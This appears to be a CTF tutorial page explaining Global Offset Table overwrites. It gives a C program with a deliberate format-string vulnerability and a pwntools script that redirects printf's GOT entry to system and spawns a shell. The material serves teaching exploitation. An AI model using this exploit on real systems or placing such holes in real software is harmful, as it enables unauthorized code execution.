# GOT Overwrite

[The **G**lobal **O**ffset **T**able (**GOT**)](https://www.ctfrecipes.com/pwn/general-knowledge/plt-and-got) stores the actual location in imported libraries ( such as `libc` ) of functions. **Overwriting one of these addresses** can allow the attacker to gain control over the program or to execute arbitrary code.

## How it works ?

The attacker **overwrites a targeted GOT entry**, using [buffer overflow](https://www.ctfrecipes.com/pwn/stack-exploitation/stack-buffer-overflow/basics) or [format string exploit](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak) for example\*\*,\*\* **with the address of an arbitrary function** such as `system`. When the initial function is called, the program will jump to the arbitrary function instead of the intended function.

## Code example

```c
#include <stdio.h>

void vuln() {
    char buffer[300];
    
    while(1) {
        fgets(buffer, sizeof(buffer), stdin);

        printf(buffer);
        puts("");
    }
}

int main() {
    vuln();

    return 0;
}
```

Using format string it's possible to overwrite any GOT entry :

```python
from pwn import *

# Load the ELF file and set it as the binary in the context
elf = context.binary = ELF('./chall')

# Load the libc library and set its base address
# ASLR is assumed to be disabled
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
libc.address = 0xf7dc2000

p = process()

# Create a format string payload that will overwrite the printf
# GOT entry with the address of the system function
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})

# Send the payload
p.sendline(payload)

# Clean up the process
p.clean()

# Send the command to spawn a shell
p.sendline('/bin/sh')

# Enter interactive mode
p.interactive()
```
